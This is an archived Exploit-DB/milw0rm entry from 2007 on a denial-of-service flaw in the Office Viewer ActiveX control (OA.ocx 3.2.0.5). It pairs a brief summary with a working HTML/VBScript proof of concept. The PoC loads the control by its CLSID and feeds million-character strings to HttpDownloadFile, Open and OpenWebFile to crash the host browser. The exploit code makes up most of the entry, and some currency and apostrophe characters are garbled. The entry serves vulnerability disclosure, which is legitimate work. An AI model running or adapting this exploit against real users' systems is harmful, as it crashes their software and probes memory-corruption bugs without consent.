Office Viewer (OA.ocx v. 3.2.0.5) multiple methods Denial of Service

vendor:

Office Viewer

by:

shinnai

N/A

CVSS

N/A

Denial of Service

CWE

Product Name: Office Viewer

Affected Version From: 3.2.0.5

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

Office Viewer (OA.ocx v. 3.2.0.5) multiple methods Denial of Service

The Office Viewer software, specifically the OA.ocx version 3.2.0.5, is vulnerable to multiple methods of denial of service attacks. The vulnerability allows an attacker to crash the software by exploiting certain methods such as DoOleCommand, FTPDownloadFile, FTPUploadFile, HttpUploadFile, Save, and SaveWebFile.

Mitigation:

Update to the latest version of the software.

Source

Exploit-DB raw data:

<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/04</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>Office Viewer (OA.ocx v. 3.2.0.5) multiple methods Denial of Service</b>
 url: http://www.officeocx.com/
 price: from ï¿½77.95 (update to last version) to ï¿½1,558.95 (Royalty)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
 Theese methods are vulnerable too:

 <b>DoOleCommand</b>
 <b>FTPDownloadFile</b>
 <b>FTPUploadFile</b>
 <b>HttpUploadFile</b>
 <b>Save</b>
 <b>SaveWebFile</b>
-----------------------------------------------------------------------------

<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' width="405" height="50"></object>

<select style="width: 404px" name="Pucca">
  <option value = "HttpDownloadFile">HttpDownloadFile</option>
  <option value = "Open">Open</option>
  <option value = "OpenWebFile">OpenWebFile</option>
  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "HttpDownloadFile" then
     argCount = 2
     arg1=String(1000000,"A")
     arg2="defaultV"
     target.HttpDownloadFile arg1, arg2
   elseif Pucca.value = "Open" then
     argCount = 1
     arg1=String(1000000, "A")
     target.Open arg1
   elseif Pucca.value = "OpenWebFile" then
     argCount = 1
     arg1=String(1000000, "A")
     target.OpenWebFile arg1
   else
     MyMsg = MsgBox ("I wanna feel like Iï¿½m somewhere I belong",64 ,"2007/05/04 - Office Viewer 3.2")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-04]